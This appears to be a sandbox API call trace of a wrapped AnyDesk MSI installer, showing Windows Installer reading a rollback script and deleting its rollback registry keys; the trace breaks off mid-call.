GetCurrentThreadId () returned 0xf50 [0210.358] GetCurrentThreadId () returned 0xf50 [0210.358] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce810 | out: phkResult=0x10ce810*=0x0) returned 0x2 [0210.358] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.359] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.359] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x34ba48 | out: phkResult=0x34ba48*=0x348) returned 0x0 [0210.359] RegQueryValueExW (in: hKey=0x348, lpValueName="ScriptsDisabled", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2 [0210.359] RegCloseKey (hKey=0x348) returned 0x0 [0210.359] SetLastError (dwErrCode=0x0) [0210.359] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.359] memcpy (in: _Dst=0x29f80cc, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.359] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.359] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.359] SetLastError (dwErrCode=0x0) [0210.359] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.359] memcpy (in: _Dst=0x29f80ea, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.360] SetLastError (dwErrCode=0x0) [0210.360] memcpy (in: _Dst=0x10ce442, _Src=0x10ce298, _Size=0x2 | out: _Dst=0x10ce442) returned 0x10ce442 [0210.360] memcpy (in: _Dst=0x29f84c4, _Src=0x10ce440, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.360] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.360] GetCurrentThreadId () returned 0xf50 [0210.360] GetCurrentThreadId () returned 0xf50 [0210.360] SetEvent (hEvent=0x170) returned 1 [0210.361] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.361] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.361] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.361] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b7c8 | out: phkResult=0x34b7c8*=0x348) returned 0x0 [0210.362] RegQueryInfoKeyW (in: hKey=0x348, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce570, lpcbMaxValueNameLen=0x10ce574, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce570*=0x2, lpcbMaxValueNameLen=0x10ce574, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.362] RegEnumValueW (in: hKey=0x348, dwIndex=0x0, lpValueName=0x10ce590, lpcchValueName=0x10ce578, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="C:\\Config.Msi\\1876f01.rbs", lpcchValueName=0x10ce578, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.362] lstrlenW (lpString="C:\\Config.Msi\\1876f01.rbs") returned 25 [0210.362] RegEnumValueW (in: hKey=0x348, dwIndex=0x1, lpValueName=0x10ce590, lpcchValueName=0x10ce578, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="C:\\Config.Msi\\1876f01.rbsLow", lpcchValueName=0x10ce578, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.362] lstrlenW (lpString="C:\\Config.Msi\\1876f01.rbsLow") returned 28 [0210.362] RegQueryValueExW (in: hKey=0x348, lpValueName="C:\\Config.Msi\\1876f01.rbs", lpReserved=0x0, lpType=0x10ce690, lpData=0x10ce6b0, lpcbData=0x10ce650*=0x100 | out: lpType=0x10ce690*=0x4, lpData=0x10ce6b0*=0x1d8a904, lpcbData=0x10ce650*=0x4) returned 0x0 [0210.362] _vsnwprintf (in: _Buffer=0x10ce602, _BufferCount=0xc, _Format="%i", _ArgList=0x10ce5d8 | out: _Buffer="30976260") returned 8 [0210.362] lstrlenW (lpString="#30976260") returned 9 [0210.362] lstrlenW (lpString="Low") returned 3 [0210.362] RegQueryValueExW (in: hKey=0x348, lpValueName="C:\\Config.Msi\\1876f01.rbsLow", lpReserved=0x0, lpType=0x10ce690, lpData=0x10ce6b0, lpcbData=0x10ce650*=0x100 | out: lpType=0x10ce690*=0x4, lpData=0x10ce6b0*=0x42a20f70, lpcbData=0x10ce650*=0x4) returned 0x0 [0210.363] _vsnwprintf (in: _Buffer=0x10ce602, _BufferCount=0xc, _Format="%i", _ArgList=0x10ce5d8 | out: _Buffer="1117917040") returned 10 [0210.363] lstrlenW (lpString="#1117917040") returned 11 [0210.363] SetLastError (dwErrCode=0x0) [0210.363] SetLastError (dwErrCode=0x0) [0210.363] CompareFileTime (lpFileTime1=0x10ce818, lpFileTime2=0x2af3038) returned 1 [0210.363] lstrlenW (lpString="#") returned 1 [0210.363] lstrlenW (lpString="#") returned 1 [0210.363] SetLastError (dwErrCode=0x0) [0210.363] SetLastError (dwErrCode=0x0) [0210.363] RegCloseKey (hKey=0x348) returned 0x0 [0210.363] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.363] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.364] _vsnwprintf (in: _Buffer=0x335f60, _BufferCount=0x103, _Format="%sLow", _ArgList=0x10ce848 | out: _Buffer="C:\\Config.Msi\\1876f01.rbsLow") returned 28 [0210.364] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.364] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x2011f, phkResult=0x34b7c8 | out: phkResult=0x34b7c8*=0x348) returned 0x0 [0210.364] RegDeleteValueW (hKey=0x348, lpValueName="C:\\Config.Msi\\1876f01.rbs") returned 0x0 [0210.365] RegCloseKey (hKey=0x348) returned 0x0 [0210.365] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.365] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce740 | out: phkResult=0x10ce740*=0x348) returned 0x0 [0210.365] RegQueryInfoKeyW (in: hKey=0x348, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10ce780, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10ce780*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788*=0x1, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.365] RegQueryValueExW (in: hKey=0x348, lpValueName="Wow6432KeyValue", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2 [0210.365] RegCloseKey (hKey=0x348) returned 0x0 [0210.366] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x2011f, phkResult=0x34b7c8 | out: phkResult=0x34b7c8*=0x348) returned 0x0 [0210.366] RegDeleteValueW (hKey=0x348, lpValueName="C:\\Config.Msi\\1876f01.rbsLow") returned 0x0 [0210.366] RegCloseKey (hKey=0x348) returned 0x0 [0210.366] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0210.366] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce740 | out: phkResult=0x10ce740*=0x348) returned 0x0 [0210.366] RegQueryInfoKeyW (in: hKey=0x348, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10ce780, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10ce780*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788*=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.366] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") returned -1 [0210.366] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx") returned -1 [0210.367] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned -1 [0210.367] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs") returned -1 [0210.367] RegCloseKey (hKey=0x348) returned 0x0 [0210.367] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce740 | out: phkResult=0x10ce740*=0x348) returned 0x0 [0210.367] RegDeleteKeyW (hKey=0x348, lpSubKey="Scripts") returned 0x0 [0210.367] RegQueryInfoKeyW (in: hKey=0x348, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10ce780, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10ce780*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788*=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.368] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") returned -1 [0210.368] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx") returned -1 [0210.368] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned -1 [0210.368] lstrcmpiW (lpString1="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback", lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs") returned -1 [0210.368] RegCloseKey (hKey=0x348) returned 0x0 [0210.368] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce740 | out: phkResult=0x10ce740*=0x348) returned 0x0 [0210.368] RegDeleteKeyW (hKey=0x348, lpSubKey="Rollback") returned 0x0 [0210.369] RegQueryInfoKeyW (in: hKey=0x348, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10ce780, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10ce780*=0x5, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x10ce788*=0x4, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0210.369] RegCloseKey (hKey=0x348) returned 0x0 [0210.369] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.369] UrlIsW (pszUrl="C:\\Config.Msi\\1876f01.rbs", UrlIs=0x0) returned 0 [0210.369] lstrlenW (lpString="C:\\Config.Msi\\1876f01.rbs") returned 25 [0210.369] UrlIsW (pszUrl="C:\\Config.Msi", UrlIs=0x0) returned 0 [0210.369] lstrlenW (lpString="C:\\Config.Msi") returned 13 [0210.369] lstrlenW (lpString="\\") returned 1 [0210.370] lstrlenW (lpString="\\\\") returned 2 [0210.370] wcsstr (_Str="\\Config.Msi", _SubStr="\\\\") returned 0x0 [0210.370] lstrlenW (lpString="Config.Msi") returned 10 [0210.370] lstrlenW (lpString="Config.Msi") returned 10 [0210.370] lstrlenW (lpString="\\Config.Msi") returned 11 [0210.370] lstrlenW (lpString="\\Config.Msi") returned 11 [0210.370] lstrlenW (lpString="\\") returned 1 [0210.370] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.370] GetFileAttributesW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi")) returned 0x16 [0210.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.371] GetFileAttributesW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs")) returned 0x20 [0210.371] CreateFileW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x348 [0210.371] GetFileType (hFile=0x348) returned 0x1 [0210.371] GetLastError () returned 0x0 [0210.371] GetFileSize (in: hFile=0x348, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2e4 [0210.371] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x2e4, lpOverlapped=0x0) returned 1 [0210.371] memcpy (in: _Dst=0x10ce5a8, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce5a8) returned 0x10ce5a8 [0210.371] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.371] SetFilePointer (in: hFile=0x348, lDistanceToMove=730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2da [0210.372] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0xa, lpOverlapped=0x0) returned 1 [0210.372] memcpy (in: _Dst=0x10ce758, _Src=0x3c7d6c, _Size=0x4 | out: _Dst=0x10ce758) returned 0x10ce758 [0210.372] memcpy (in: _Dst=0x10ce758, _Src=0x3c7d70, _Size=0x2 | out: _Dst=0x10ce758) returned 0x10ce758 [0210.372] memcpy (in: _Dst=0x10ce758, _Src=0x3c7d72, _Size=0x4 | out: _Dst=0x10ce758) returned 0x10ce758 [0210.372] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.372] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.372] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.372] SetLastError (dwErrCode=0x0) [0210.372] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.372] memcpy (in: _Dst=0x29f80cc, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.372] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.372] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.372] SetLastError (dwErrCode=0x0) [0210.372] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.373] memcpy (in: _Dst=0x29f80ea, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.373] SetLastError (dwErrCode=0x0) [0210.373] memcpy (in: _Dst=0x10ce232, _Src=0x10ce088, _Size=0x2 | out: _Dst=0x10ce232) returned 0x10ce232 [0210.373] memcpy (in: _Dst=0x29f84c4, _Src=0x10ce230, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.373] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.373] GetCurrentThreadId () returned 0xf50 [0210.374] GetCurrentThreadId () returned 0xf50 [0210.374] SetEvent (hEvent=0x170) returned 1 [0210.375] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.375] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.375] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x2e4, lpOverlapped=0x0) returned 1 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5b20, cchWideChar=38 | out: lpWideCharStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7dce, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=70, lpWideCharStr=0x37f3e0, cchWideChar=70 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e16, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=68, lpWideCharStr=0x37f330, cchWideChar=68 | out: lpWideCharStr="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e5c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e5e, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e62, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e64, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e68, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e6a, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e6e, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.375] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e70, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e74, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e76, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e78, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5c00, cchWideChar=38 | out: lpWideCharStr="{8CB27BF3-59BC-4419-BE15-E9E385453F27}") returned 38 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7ea0, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7ea2, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7ea4, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7ea6, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eaa, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eac, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eb0, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eb2, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eb6, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7eb8, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=70, lpWideCharStr=0x37f330, cchWideChar=70 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f20, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=8, lpWideCharStr=0x3c25b0, cchWideChar=8 | out: lpWideCharStr="Rollback") returned 8 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f2e, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=20, lpWideCharStr=0x372430, cchWideChar=20 | out: lpWideCharStr="Rolling back action:") returned 20 [0210.376] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f44, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=3, lpWideCharStr=0x3c2460, cchWideChar=3 | out: lpWideCharStr="[1]") returned 3 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f49, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=15, lpWideCharStr=0x2af2fe0, cchWideChar=15 | out: lpWideCharStr="RollbackCleanup") returned 15 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f5a, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x372700, cchWideChar=21 | out: lpWideCharStr="Removing backup files") returned 21 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f71, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=9, lpWideCharStr=0x2af2f60, cchWideChar=9 | out: lpWideCharStr="File: [1]") returned 9 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=17, lpWideCharStr=0x372480, cchWideChar=17 | out: lpWideCharStr="ProcessComponents") returned 17 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c7f91, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=31, lpWideCharStr=0x380020, cchWideChar=31 | out: lpWideCharStr="Updating component registration") returned 31 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5c00, cchWideChar=38 | out: lpWideCharStr="{EDE10F6C-30F4-42CA-B5C7-ADB905E45BFC}") returned 38 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c7fdc, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5b20, cchWideChar=38 | out: lpWideCharStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c8004, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] memcpy (in: _Dst=0x10ce018, _Src=0x3c8006, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x372480, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish1") returned 21 [0210.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x372700, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0210.378] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.378] SetFilePointer (in: hFile=0x348, 